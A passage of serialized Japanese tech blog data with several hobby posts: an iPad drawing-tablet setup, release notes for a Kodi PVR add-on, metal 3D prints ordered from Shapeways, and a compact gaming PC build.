提供されていないため、\nPCやMac版を買います。ちなみにEX版がおすすめです。\n\n#### Astropad\n\nCLIP STUDIO PAINTを買ったら、次はiPadをMacのペンタブとして使えるようにします。\nMacで動作するCLIP STUDIO PAINTをiPadに表示し、Apple Pencilの筆圧がそのまま伝わり滑らかにクリスタでお絵かきができます。\n指での誤操作を防止する機能があるのはもちろんのこと、一番のオススメポイントはUSB接続による低遅延描画とペン軌跡表示機能です。\n画面転送を行っているで、液タブのようにゼロ遅延で描画はできないのですが、USBによる有線接続によって感じるか感じないかのわずかな遅延に収められています。\nまた、遅延をさらに感じさせないための工夫として、ペンの軌跡が表示させれる機能があります。\n\nどんな感じなのか描いているときの雰囲気はこんな感じです。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"es\" dir=\"ltr\">Astropad(<a href=\"https://t.co/rbMoBLgj5U\">https://t.co/rbMoBLgj5U</a>)とクリスタでiPadを液タブ化してみたけどAppleペンシルとの相性最高ですらすら描けて良い <a href=\"https://t.co/P4GG4CiZNN\">pic.twitter.com/P4GG4CiZNN</a></p>&mdash; 入稿完了:3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/769580135322234880\">2016年8月27日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n左に並ぶツールは並び替えが自由で、ショートカットキーがわりあてられるため、次のように設定してiPadのみでのお絵描きができるようにしています。\n\n\n\nただ、Windowsは2016年時点でまだサポートされてません。\n\n<img src=\"/assets/images/2016/12/25/astropad-icon.jpg\" style=\"border-radius: 26px; width: 120px; height: 120px; border: none;\" >\n\n[Astropad Graphics Tabletを App Store で](https://itunes.apple.com/jp/app/astropad-graphics-tablet/id934510730?mt=8&at=1l3v4mQ)\n\n<a href=\"https://itunes.apple.com/jp/app/astropad-graphics-tablet/id934510730?mt=8&at=1l3v4mQ\" style=\"display:inline-block;overflow:hidden;background:url(//linkmaker.itunes.apple.com/assets/shared/badges/ja-jp/appstore-lrg.svg) no-repeat;width:135px;height:40px;background-size:contain;\"></a>\n\n#### SwitchResX\n\n[SwitchResX - The Most Versatile Tool For Controlling Screen Resolutions On Your Mac](http://www.madrau.com)\n\niPadの解像度は2048x1536のため、AstropadでMacの画面をドットバイドットで全画面表示するためには、macOS側の解像度を2048x1536にする必要があります。\nそのために必要なのが、SwitchResXという有償の解像度変更ソフトウェアです。\nこのソフトウェアで2048x1536のスケール解像度を作成し、メニューからそれを有効にすることで、iPad Pro 9.7インチにドットバイドットで表示させることが可能になります。\n\n\n\n\n\n\nMacの種類によってはHiDPIに対応していないので、[Quartz Debugを使って有効化する](https://www.google.co.jp/search?q=hidpi+quartz+debug)必要があります。\n\n\n## 絵の描き方\n\n神絵師たちはみな口を揃えて「まずあたりをつけます。下書きをします。ペン入れをします。完成」\nと言っていますが、まったくもってその通りです。\n\n### あたりをつける\n\n適当にそれっぽく描きます。\n\n\n\n\n### 下書きをする\n\nそれっぽい線を、よりそれっぽくします。\n\n\n\n\n### ペン入れをする\n\nそれらしさを上げます。\n\n\n\n### 完成\n\n完成。\n\n\n\n## 原稿の落とし方\n神絵師なら誰しも原稿を落としています。\n手っ取り早く神絵師になるためには原稿を落とすのが最適解です。\n神絵師なので、今回の新刊は原稿を落としそうになりました。\n今回の新刊の落ちそうな過程をProcreateとApple Pencilで描きました。\nご覧ください。\n\n\n\n\n## <del>まとめ</del>宣伝\n\n締め切りギリッギリまで伸ばしに伸ばして大赤字の新刊ができあがりました。\n神絵師のイラストを見ることができます。\n3日目東v-14aでお待ちしています!\n"]}],[0,{"slug":[0,"2017/02/04/pvr-chinachu-4/"],"data":[0,{"title":[0,"Harekaze for Kodi (pvr.chinachu) 4.0.0 リリース"],"date":[3,"2017-02-04T02:15:00.000Z"],"image":[0,"/assets/images/2017/02/04/pvr.chinachu-fanart.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"chinachu"],[0,"dtv"],[0,"kodi"],[0,"osmc"],[0,"pvr"]]]}],"content":[0,"\nKodiとChinachuがシームレスに連携し、快適に地デジが視聴できるアドオン Harekaze for Kodi(pvr.chinachu) をKodi 17 Krypton\nに対応したバージョン4.0.0としてリリースしました。\n\n[**Harekaze/pvr.chinachu: Chinachu client for Kodi/XBMC**](https://github.com/Harekaze/pvr.chinachu)\n\n今回から、KodiのPVR(Personal Video Recorder)機能が強化されたのに加え、Chinachuもgammaへとバージョンアップがあったため、\nいろいろと追加機能があります。\n対応プラットフォームはmacOS、Windows、Linux、OSMC on Raspberry Pi、Android ARM、iOSで動くKodi 17です。\n今回から試験的にiOS版のビルドに対応しました。ただ、MPEG-2のハードウェアデコーディングとバッファリングがしょぼいようなので、\n高性能なChinachuマシンでH.264エンコードさせる必要があります。\nAndroidやAndroid TV、iOSへのインストール方法は、[Harekaze/pvr.chinachu Wiki](https://github.com/Harekaze/pvr.chinachu/wiki)\nを参照してください。\n\n新規に導入する方への説明や、バージョンアップに伴った機能の追加を含め、pvr.chinachuの操作について紹介します。\nKodi 17のインストールについては紹介しないので、知人に頼るか他ブログや公式サイトを参考にするなどしてください。\nAdd-onのインストールについては、[リポジトリのREADME](https://github.com/Harekaze/pvr.chinachu/blob/master/README.md)を読んだり、\n[過去記事](../2015/2015-08-08-pvr-chinachu-addon.md)を参考にするか、\nこれまた他ブログをあたってみてください。\n今回はrepository add-onの提供もあるので、そちらのご利用をお勧めします。\n\n## 目次\n\n\n## インターフェース\n\nKodi 17になり、標準のスキンが変更になりました。\n今までの光沢感の強いConfluenceから、モダンな感じのEstuaryに変わり、操作性も大きく変わりました。\n特にPVRは、トップ画面にチャンネルや録画済みの項目が表示されるようになりました。\n\n\n\n視聴方法などは標準的な操作から変更はないですが、インターフェースの変更に伴って新たな項目が増えました。\nタイマールールです。こちらにはChinachuのルールが該当しますが、機能に関しての詳細は後述します。\nまた、これから紹介する画面は、すべてEstuaryを日本語に設定し、Harekaze for KodiとYouTube Add-onを導入している画面を例として示します。\n他のスキンや他のAdd-onが導入されている環境では、表示される項目が異なることがあります。\n\n\n### サブ画面\n\nこれから各ページの紹介をしていきますが、それぞれのページに共通して表示可能なサブ画面と設定画面についての説明を先にしておきます。\n\n**オプション**\n: 標準テーマでは左側から出現する各機能のオプションが表示される画面。左キーを押したり画面左端にカーソルを移動させるなどして表示させられます。\n\n\n\n**メニュー**\n: 標準テーマではダイアログのように操作項目一覧が表示される画面。決定キー長押しや、右クリックなどで表示させられます。\n\n\n\n**設定画面**\n: Add-onの詳細ページにある設定ボタンを押したときに表示される画面。インストール済みAdd-onからHarekazeを選択することで設定ボタンを見つけられます。\n\n\n\n\n## チャンネル一覧\n\n\n\nチャンネル一覧には、これまでにはなかった各チャンネルのロゴが表示されるようになりました。\nまた、1つのチャンネルに複数サービスがある場合、番組が存在してもしなくてもチャンネルが選択肢として表示されていたところ、\n番組が存在しないチャンネルが一覧に表れないように変更しました。\n3.xから変わらない機能としては、チャンネルのグループ分けがそのまま残っています。\n地デジやBSなど、オプションより表示したいチャンネルグループを絞り込むことができます。\n\n### ライブ視聴\n\n\n\n視聴に関して、3.xでは設定画面にMirakurunからのダイレクト視聴オプションがありましたが、\nチューナーの管理などをChinachu gammaに任せる方針に変更しました。\nそのため、ダイレクト視聴オプションは廃止され、現在放映中の番組もChinachuを経由しての視聴となります。\n視聴中に再生コントロールの録画ボタンを押すと、手動予約が登録されます(Estuaryでは上の画像左下から3つ目の●ボタン)。\nこのとき、録画のためにチューナーが別で確保されるため、複数のチューナーを搭載していない場合は、\n録画が終了するまでライブ視聴が中断されます。\n\n\n\n## 番組表\n\n\n\nChinachu gammaになり、新たにジャンルコードが追加されたため、それに追従して番組表の色分けも追加しました。\nまた、チャンネル名の横にチャンネルロゴが表示されるようになりました。\n番組を選択することで、番組詳細画面を開くことができます。\n\n\n### 手動録画機能\n\n\n\n番組表やチャンネル一覧から番組詳細を表示したりメニューを開くと、録画(_スキンによっては録音との誤訳あり_)ボタンが現れます。\nこのボタンより、Chinachuの手動予約リクエストが発生し、現在放映中の番組はその時点から録画、未来に放映される番組は手動録画予約が行われます。\n\n## 録画一覧\n\n\n\n録画一覧には、録画された番組が表示されます。\n項目を選択することで再生ができ、メニューより削除ができます。\n\nベータ機能としてpvr.chinachu 3.xで設定画面で有効にできた録画中の番組の再生機能は、不安定なため削除しました。\nまた、オプションの録画番組のグループ化設定値が、Kodi 17から保持されるようになったため、\n設定画面にあったグループ化強制OFFの項目は削除されました。\nオプションよりON/OFFを切り替えてください。\n\n### 一覧の更新\n\n\n\nメニューのクライアントのアクションに録画一覧・タイマー一覧の更新アクションとスケジューラーの実行アクションを搭載しました。\nこれにより、これまではKodiが一覧を更新するタイミングが来るまでChinachuの情報が取得できなかった問題が解決します。\n番組の録画が終わっているのに一覧に表示されていない場合など、一覧の内容が古いと思われる場合にご活用ください。\n\n## タイマー一覧\n\n\n\nタイマー一覧には、Chinachuの録画予約が一覧として表示されます。\nルールによって一致した予約に関しては、スキップやスキップの取り消しができ、手動予約は予約の削除がメニューからできるようになっています。\nまた、録画中の番組の取り消しも、タイマー一覧から行うことができます。\n\n\n## タイマールール一覧\n\n\n\nKodi 17からの新機能で、タイマールール一覧が追加されました。\nChinachuのルールに相当するものです。\nしかし、ルールにあるものがすべて表示されているというわけではありません。\nChinachuのルールにある項目のうち、Kodiのタイマールールとして表示可能な項目は以下の4つがあります。\n\n- 対象チャンネル\n- 部分一致タイトル文字列\n- 部分一致番組詳細文字列\n- 有効/無効状態\n\nこのうち部分一致文字列に関しては、Kodiのタイマールールではタイトルか番組詳細の いずれか の部分一致文字列しか値を保持しておくことができません。\nそのため、このタイマールール一覧に表示されるルールは、以下の条件に合致するものに限定しました。\n\n- 最大1つの対象チャンネル指定\n- 0つの無視チャンネル指定\n- 最大1つの対象ジャンル指定\n- 部分一致タイトル文字列と不一致タイトル文字列(※いずれか片方)\n- 部分一致番組詳細文字列と不一致番組詳細文字列(※いずれか片方)\n\nこれらの条件に合致するものは、タイマールール一覧に表示されます。\n合致しないものは表示されません。\n表示されているものに関しては、値の変更や削除はできませんが、ルールの有効/無効の切り替えができるようになっています。\n\n### ルールの作成と管理\n\n\n\n新しい予約形態として、番組からルールの作成ができるようになりました。\nChinachuのルール作成とほぼ同等の機能です。\n番組詳細を表示し、録画予約を追加からルールの作成ができます。\n作成できるルールはチャンネルと部分一致タイトル文字列のみの指定となり、Kodiからは削除ができない仕組みです。\nルールの編集や削除はChinachuのWUIにアクセスして行ってください。\n\n\n## 設定画面\n\n### 基本設定\n\n\n\n設定画面の項目は不要なものが削除されたのみで、新しいものは追加されていません。\nAdd-onを有効にする前の初期設定としてChinachuのWUIのURLの入力をしておけば、とりあえず動作します。\nChinachuのWUIのURLの入力時に気を付けてほしいのが、ブラウザでアクセスできる有効なURLを入力するという点です。\nたびたび、プロトコル指定子なしでIPアドレスとポート番号だけを入力していて動かなくなっている人を見かけます。\nしっかりとhttp:やhttps:から始まるURLを入力してください。\n\n初回インストール時に設定したURLが反映されずにエラーがでることがあります。\nKodiを再起動したり、Add-onを一度無効にして再度有効にしてみてください。\n\nMirakurunからのダイレクト視聴が無効となったため、MirakurunのTCPポートをこのために空けていた人は閉じておくと良いでしょう。\n\n### ストリーミング設定\n\n\n\nモバイルデバイスではなく、据え置きの機器にインストールしたKodiで視聴している方にはあまり縁がないかもしれませんが、\nChinachuによるトランスコードを有効にする設定をすることができます。\n\n### 録画設定\n\n\n\n録画済み番組に関する設定をまとめた画面ですが、現状はサムネイルの表示有無とサムネイルとして切り出す動画のフレームの位置を設定できます。\n\n\n## まとめ\n\n快適♪\n"]}],[0,{"slug":[0,"2017/05/15/shapeways-stainless-steel/"],"data":[0,{"title":[0,"Shapewaysで金属3Dプリントした -ステンレススチール編-"],"date":[3,"2017-05-15T12:48:08.000Z"],"image":[0,"/assets/images/2017/05/15/boss-6.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"3D Print"]]],"tags":[1,[[0,"metal"],[0,"stainless"],[0,"steel"],[0,"kemono-friends"]]]}],"content":[0,"\n:scream_cat: **すっごーい!なにこれなにこれ?ボスがこんなに!どうやったの!**\n\n:school_satchel: **ラッキーさんのこと?作ったんだけど**\n\n:heart_eyes_cat: **すっごーい!つくったー!?**\n\n:owl: **早く作り方を教えるのです。**\n\n\n:school_satchel: これは3Dプリントって言いまして、パソコン(?)で3Dモデリングしたオブジェクトをそのまま立体にする技術を使って作りました。\n3Dモデリングはとてもたいへんで、はじめてでしたが[Blender](https://www.blender.org/)を使ってこのラッキーさんの形をつくりました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ボスです <a href=\"https://t.co/amQodsw7sP\">pic.twitter.com/amQodsw7sP</a></p>&mdash; サーバルキャット (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/852546881439662082\">2017年4月13日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n:owl: さすがヒトなのです。\n\n:school_satchel: そしてつくった3Dモデルをかたちにするんですが、ここで使う技術がその3Dプリントです。\n3Dプリントは家庭用3Dプリンタをつかってもできますが、この金属のラッキーさんはおうちでは作るのが大変なので、インターネット、つまりヒトの叡智をつかって3Dプリントしてもらいました。\n\n:owl: ヒトの叡智はすばらしいのです。\n\n:school_satchel: 3Dプリントをしてくれるところはいくつかあるのですが、お得に作成できる[Shapeways](https://shapeways.com/)を見つけたのでそこでお願いしました。\n\n:smiley_cat: え、ほかにもボスを作ってくれるところがあるの?\n\n:school_satchel: あります。たとえばかんとーエリアにある[DMM.make](http://make.dmm.com/print/)とかですね。\n\n:smirk_cat: ボスっていろいろなところで作られてるんだね!\n\n:school_satchel: Shapewaysはうみのそとにあるので作ってもらうまでに時間がかかりますが、今回は注文から**約22日**で到着しました。\n\n\n\n\n\n:owl: うみのそとからの荷物ということは関税がかかったのですか\n\n:school_satchel: 詳しいですね。はい、いろいろ含めて **1800円** かかりました。\n\n\n\n:smiley_cat: それはじゃパリコイン何枚分なの?\n\n:owl: サーバルのギャグはいいとして\n\n:crying_cat_face: ギャグじゃないよ!\n\n:school_satchel: そして出来上がりがこちらです\n\n\n\n:heart_eyes_cat: すっごーい!\n\n:school_satchel: はじめて3Dプリントしてみましたが意外ときれいにつくれるんですね。\n\n\n\n\n\n:school_satchel: 金・銀・銅と色が違いますが、全部ステンレススチール製です。\n\n\n\n:school_satchel: ラッキーさんの目や本体(?)の部分もしっかりとできてますね。\n\n\n\n\n:school_satchel: サイズは高さが **2.28cm** ほどです。意外と重さもあって、1つ **16.4g** ほどあります。置物にちょうどいいですね。\n\n\n\n:owl: これらはいくらしたんですか?\n\n:school_satchel: Shapewaysではステンレススチールの3Dプリントの値段が次のように書いてありました。\n\n\n\n引用元: [https://www.shapeways.com/materials/steel](https://www.shapeways.com/materials/steel)\n\nこのラッキーさんは2.05立方センチメートルなので、**ラッキーさん1つ$16.26でした。**\n金色のラッキーさんだけちょっと高くて$20.26です。\n\n:owl: ところで箱の中にあった黒いものはなんですか?\n\n:rotating_light: アワ、アワワワワワワワワワ\n\n:penguin: 次回、シルバー925編。\n\n<iframe src=\"https://embed.music.apple.com/jp/album/%E5%A4%A7%E7%A9%BA%E3%83%89%E3%83%AA%E3%83%BC%E3%83%9E%E3%83%BC/1198924234?i=1198924326&amp;app=music&amp;itsct=music_box_player&amp;itscg=30200&amp;at=1l3v4mQ&amp;ls=1\" height=\"150px\" frameborder=\"0\" sandbox=\"allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation-by-user-activation\" allow=\"autoplay *; encrypted-media *;\" style=\"width: 100%; max-width: 660px; overflow: hidden; border-radius: 10px; background: transparent;\"></iframe>\n\n:womans_hat: 各種頒布会などでたまに展示しますので実物を確認したい方はブースまでお立ち寄りくださいね。\n\n(:wolf: はやく原稿を描き進めないと。。)\n"]}],[0,{"slug":[0,"2017/05/24/shapeways-sterling-sliver/"],"data":[0,{"title":[0,"Shapewaysで金属3Dプリントした -シルバー925編-"],"date":[3,"2017-05-23T17:30:10.000Z"],"image":[0,"/assets/images/2017/05/24/lucky.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"3D Print"]]],"tags":[1,[[0,"metal"],[0,"silver925"],[0,"kemono-friends"],[0,"マカセテ"]]]}],"content":[0,"\n[前回](../2017/2017-05-15-shapeways-stainless-steel.md)の予告でお伝えした通り、Shapewaysでシルバー925のプリントをしてみた話。\n多くのシルバーアクセサリーで扱われる銀含有率925‰の[スターリングシルバー](https://ja.wikipedia.org/wiki/%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%AA%E3%83%B3%E3%82%B0%E3%82%B7%E3%83%AB%E3%83%90%E3%83%BC)で作ってみました。\nステンレススチール編ではざっくりとした感想しかお伝えいたしませんでしたが、今回はいろいろあったので多めに記録を残しておきます。\n\n## 目次\n\n\n## シルバーで3Dプリント\n\n前回のラッキービーストのモデルをシルバーアクセサリー向けにも印刷しました。\n同一の注文で、同じく[Shapeways](https://www.shapeways.com/)でお願いしました。\n\nShapewaysのステンレススチールプリントはバインダージェット方式だったのに対し、シルバーは[ロストワックス](https://ja.wikipedia.org/wiki/%E3%83%AD%E3%82%B9%E3%83%88%E3%83%AF%E3%83%83%E3%82%AF%E3%82%B9)方式で鋳造して作られています。\n\n- [How to Design for 3D Printing in Steel - Shapeways](https://www.shapeways.com/tutorials/how-to-design-for-3d-printing-in-steel)\n- [Sterling Silver 3D Printing Material Information - Shapeways](https://www.shapeways.com/materials/silver#info)\n\nそれぞれの印刷方法の特徴より、ロストワックス方式のシルバーのほうがステンレススチールよりより精細に仕上げることができます。\nその特徴を生かして、前回紹介したステンレススチールのラッキービーストに細かい模様を施すことにしました。\nアクセサリーとして機能するようにチェーンやストラップをつけるための内径3mmのトーラスとシルバー925であることを主張する「925」の刻印、そして後述する”石”を受けるための穴をあけました。\n\n\n\n\n\n\n### 謎のリジェクトと消える割引\n\nステンレススチールのものと同じオブジェクトですが、なぜか変更を加えていない部分においての指摘により、造形不可の連絡が来ました。\n\n\n(一部変更)\n> Hello,\n> \n> After further review, our 3D printing engineers picked up on something the auto checks missed. We are unable to successfully manufacture Luckybeast from order \\*\\*\\*\\*\\*\\*\n> \n> A refund for the cost of the model has been initiated and will be posted in 3-5 business days.\n> \n> What happened?\n> \n> Reason: Detail Too Fine\n> \n> Description: \"Your model has some very sharp edges. Due to our intensive polishing process these edges will get rounded off giving you a model that is not the exactly as demanded.\"\n> \n> Find additional information in the attached image.\n> \n> \n> \n\n耳の先やベルトの角などがエッジが再現できないとのことらしいです。\nステンレスでも印刷できるんだったらそのままでいいから印刷してと申したところ、キャンセルしちゃったから再注文してねとの返答がありました。\n最初に注文していた時は、母の日キャンペーンでシルバーの価格が15%オフで注文できていたのですが、\nこのリジェクト連絡があったのが**偶然なのか狙ってなのか、キャンペーンが終わった直後**でした。\n悲しいことに、再度注文した分はキャンペーンの期間を過ぎているから割引は適用されないといわれてしまい、定価での注文となりました。\n\n### 造形物到着\n\n同じモデルデータで\"Just do it, please.\"の添え字をしただけでそのまま印刷が進み、ステンレススチールの造形と同じくして出荷されました。そして届いたのがこちらです。\n\n\n\n\n写真で見る以上に、実物はシルバーの鏡面反射が驚くほど美しいです。\n925の刻印もしっかりと判別でき、加えてShapewaysによる925であることを表すプリントもされており、光沢もしっかりしていて、期待以上の仕上がりです。\n\n\n\n\n\nストラップ用につけたトーラスは直径が均一ではなく、内径が小さくなっていましたが、強度には問題なさそうです。\n石を乗せるための穴はきちんと開いていました。\n\n## シルバーアクセサリ化\nシルバーアクセサリとして身につけられるようにするため、Amazonちほーで以下の品物を調達します。\n\n- シルバーチェーン\n- ダイヤモンド\n- 接着剤\n\n### シルバーチェーン\n\nシルバーチェーンは意外と簡単に見つかったものの、いろいろな種類があったので調達に難航しました。\nチェーン用のトーラスを内径3mmで作っておいたものの、留め金近辺もなんとか通るようなものを選択する必要があります。\nそこで、標準的なあずきチェーンの1.9mm幅で比較的受け側の幅の狭いロブスター型の留め金のものを購入しました。\n\n[Amazon \\| 新宿銀の蔵 あずきチェーン 4面カット 長さ40cm~60cm シルバー 925 40cm 幅1.9mm ネックレス チェーン ネックレスチェーン レディース sv \\| チェーン 通販](https://www.amazon.co.jp/gp/product/B00I9NSKFW/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=ll1&tag=mzyy-22&linkId=39b57ba547db495218892af6987d4b02)\n\n\n### ダイヤモンド\n\n石を受ける穴に今回はめるのはダイヤモンド。ガラスでもいいかなとも思いつつも、せっかく作るのならばと言うことでちゃんとした天然石ダイヤモンドを嵌めることにしました。\nダイヤモンド単体でAmazonちほーに売ってるかどうか若干ゃ心配でしたが、普通に売ってました。\n\n[Amazon.co.jp: ダイヤモンド 裸石 - NobleStone](https://www.amazon.co.jp/s/ref=as_li_ss_tl?rh=,p_4:NobleStone&ie=UTF8&keyword=%E3%83%80%E3%82%A4%E3%83%A4%E3%83%A2%E3%83%B3%E3%83%89+%E8%A3%B8%E7%9F%B3&linkCode=ll2&tag=mzyy-22&linkId=a5b8edd02dd431c81802dca16626bd3b)\n\n空けた穴のサイズから、0.02カラットが適切だと考えていたのですが、該当するサイズのダイヤモンドが見つからなかったので0.01カラットのものを調達しました。\n米粒よりも小さいながら、しっかりとカットが入っており、様々な角度から光が当たることで輝く美しい品でした。\n\n\n\n### ジュエリー接着剤\n\nシルバーのラッキーさんにダイヤモンドをつけるために必要となる透明度の高い強力な接着剤。\n使用量の都合から、手芸用によく用いられる2液混合タイプではなく、1液単体の厚塗りタイプを購入しました。\n\n[Amazon \\| E6000 ジュエリー&宝石類用 接着剤 ノズル4本付き \\| チャーム・アクセサリートップ 通販](https://www.amazon.co.jp/gp/product/B00KO6V0N6/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=af71edc498b4477bd7d8b6308fec861b)\n\n### できあがり\n\n\n穴に接着剤を流し込み、ダイヤモンドを装着し硬化させること丸2日間。\nロブスター金具の受け側を潰してトーラスの中を通し、チェーンが通ったら元のサイズまで広げて完成です。\n\n\n\n\n### 価格\n\nシルバーのラッキービーストは75.47 USDでした。\nこのシルバーアクセサリ全体の素材の価格を大まかにまとめると、下表のようになります。\n\n| 素材 | 価格 |\n|:---:|:---|\n| シルバーラッキーさん | 8400円 |\n| シルバーチェーン | 1800円 |\n| ダイヤモンド | 1500円 |\n\n素材だけで、合計11700円ほどで完成しました。\n\n## まとめ\n\nたーのしー!\n\n(:wolf: 原稿...)\n"]}],[0,{"slug":[0,"2017/06/17/new-main-pc/"],"data":[0,{"title":[0,"GTX 1070とKaby Lake i5で新しくメインPC組んだ"],"date":[3,"2017-06-17T08:25:29.000Z"],"image":[0,"/assets/images/2017/06/17/zbox-en1070k.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"gpu"],[0,"pc"],[0,"dnn"]]]}],"content":[0,"\n4Kの広大なモニタを生かすためにも、Kaby Lake世代のCPUとNVIDIA Pascal&trade;アーキテクチャのGPUを搭載したマシンを組みたくなったので組んでみました。\n\n小さなPCしか買えない体質なので、スペックはある程度妥協してサイズ優先で組むことにしました。\n\n\n## 目次\n\n\n\n## ハイスペック小型マシン購入候補\n\nまずは手持ちのPC一覧。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">・NUC 2台<br />・Brix 1台<br />・DVDトールケースサイズのやつ 1台<br />・Mini-ITX 5台<br />・Mini-STX 1台←NEW</p>&mdash; サーバルキャット@2日目東D-12a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/766810022827261952\">2016年8月20日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nご覧の通り、Mini-ITXサイズより小さいPCしか買えない体質なので、それより小さいサイズのPCでハイスペックPCを組みたいと思っていました。\n具体的には、個人的に購入できるPCのサイズ基準は容積8リットル以下と定めています。\nこのサイズ上限がネックとなり、いままでハイレンジにあたる補助電源を必要とする2スロット占有型のGPUを搭載したマシンを組めずにいました。\n\n時は進みGPUの世代も新しくなり、消費電力対パフォーマンスの向上が重ねられてきました。\n現行Pascal世代のGPUはモバイル版とデスクトップ版の差異がほとんどなくなり、\nこれまでモバイル版GTXは「M付き型番」として差別されてきた苦い思いをせずに、\n胸を張ってGTX搭載マシンを名乗ることができるようになりました。\nこの変化に伴い、モバイル版GTXを搭載した小型マシンが数々と登場してきています。\nそこで、このモバイル版GTXを搭載した容積8リットル以下のPCを対象に新しいPCを探しました。\n\n### NEXTGEAR-SLIM is100 シリーズ (HM170)\n\n<a target='new' href=\"https://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=92827.9597630174&type=2&murl=http%3A%2F%2Fwww2.mouse-jp.co.jp%2Ftune%2Fscripts_cart%2Fspec.asp%3Fprod%3D1702NG-is100SA1\"><img src=\"https://www2.mouse-jp.co.jp/tune/case_img/-345176.gif\" /></a>\n<img border=\"0\" width=\"1\" height=\"1\" src=\"https://ad.linksynergy.com/fs-bin/show?id=fUSw4lglgFk&bids=92827.9597630174&type=2&subid=0\" />\n\n[NEXTGEAR-SLIM is100 シリーズ(HM170) デスクトップゲーミングPCの通販|G-Tune](http://www.g-tune.jp/desktop/nextgear_slim/)\n\n\nパーツ | 構成\n:----:|:----\nCPU | Core i7-6700HQ\nGPU | モバイル版 GTX 1070\nメモリー | DDR4 SO-DIMM 4スロット 最大64GB\nストレージ | M.2 NVMe / 2.5\" SATA\n\n\nマウスコンピューターが発売しているゲーミングノートPCから液晶パネルを取っ払ったようなデスクトップマシン。\n特徴は小型モバイル版GTX 1070とデスクトップPCながら<b>バッテリーを搭載している</b>点に加え、容積がたった2.3リットルといった小ささ。\n正確にはベアボーンではないものの拡張が可能で、NVMe SSDと2.5インチSSDを搭載でき、さらに最大64GBものRAMを搭載できます。\n一番の欠点はCPUがKaby Lakeではないところ。2017年春に発売されたとは思えないSkylakeをBGAで搭載しているため、魅力はあれど購入を見送りました。\n各所にレビュー依頼がたくさんあったようで、いろいろなところでSkylake搭載について数々の意見が挙げられています。\nこの部分が改良されたモデルが登場したら一台追加で買っていてもいいかなとも考えています。\n\n- [ASCII.jp:幅22ミリでVR対応!? 驚きのゲーミングデスクトップPC最速フォトレビュー](http://ascii.jp/elem/000/001/452/1452600/)\n- [ほぼ「液晶パネルとキーボードのないノートPC」!? 幅22mmの超薄型ゲーマー向けデスクトップPCがG-Tuneから登場 - 4Gamer.net](http://www.4gamer.net/games/026/G002654/20170320004/)\n- [「NEXTGEAR-SLIM is100」レビュー - GAME Watch](http://game.watch.impress.co.jp/docs/review/1055352.html)\n\n### The New Razer Blade\n\n<a href=\"https://www.amazon.com/Razer-Blade-GeForce-Gaming-Laptop/dp/B01N9SSQ9E/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy22-20&linkId=c017682a8c2ba7c8abec795b8f4981c4\" target=\"_blank\"><img border=\"0\" src=\"//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01N9SSQ9E&Format=_SL500_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=mzyy22-20\" /></a>\n\n[The New Razer Blade Gaming Laptop](https://www2.razerzone.com/jp-jp/gaming-systems/razer-blade)\n\nパーツ | 構成\n:----:|:----\nCPU | Core i7-7700HQ\nGPU | モバイル版 GTX 1060\nメモリー | DDR4 16GB(増設・交換不可)\nストレージ | M.2 NVMe\n\nノートPCから液晶パネルを取っ払ったものを見てしまってからは、もうノートPCでもいいんじゃないかという考えにもなり、RazerのスタイリッシュゲーミングノートPCも購入を考えました。\nノートPCにも購入する際のこだわりがあり、特にキーボードは\n\n- US配列\n- アイソレーションキーボード\n- テンキーなし\n- 左下がCtrlキー\n\nを満たしているものに限ります。\nこの条件を照らしてRazer Bladeを見てみると国内版は配列が問題外ですが、Amazon.comで購入できるUS版はすべてを満たしており、ノートPCとしては「買い」です。\nRazer Bladeのスペックとしては、Kaby Lake i7-7700HQとThunderbolt&trade; 3搭載は魅力的ですが、GPUとRAM容量が非力だったので残念ながら見送りました。\nRAMが32GBでGTX 1070が搭載されていれば、このスタイリッシュな外観も合わさって即決だっただけに、少々後ろ髪を引かれる思いです。\n\n\n### ZOTAC ZBOX MAGNUS EN1070K\n\n<a href=\"https://www.amazon.com/ZOTAC-ZBOX-EN1070K-U-MAGNUS-GeForce-Barebone/dp/B06ZY6CSDM/ref=as_li_ss_il?ie=UTF8&qid=1497683506&sr=8-1&keywords=zbox+en1070k&linkCode=li3&tag=mzyy22-20&linkId=64ac486155f8c71def65b9a21b8fac77\" target=\"_blank\"><img border=\"0\" src=\"//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B06ZY6CSDM&Format=_SL500_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=mzyy22-20\" /></a>\n\n[MAGNUS EN1070K \\| ZOTAC](https://www.zotac.com/jp/product/mini_pcs/magnus-en1070k)\n\nパーツ | 構成\n:----:|:----\nCPU | Core i5-7500T\nGPU | モバイル版 GTX 1070\nメモリー | DDR4 SO-DIMM 2スロット 最大32GB\nストレージ | M.2 NVMe / 2.5\" SATA\n\nZOTACの小型ハイスペックベアボーンとしてGTX 860M搭載のZBOX EN760登場時から気になっていたZBOX ENシリーズの最新モデル。容積わずか2.7リットル。\nKaby Lake世代のi5とモバイル版GTX 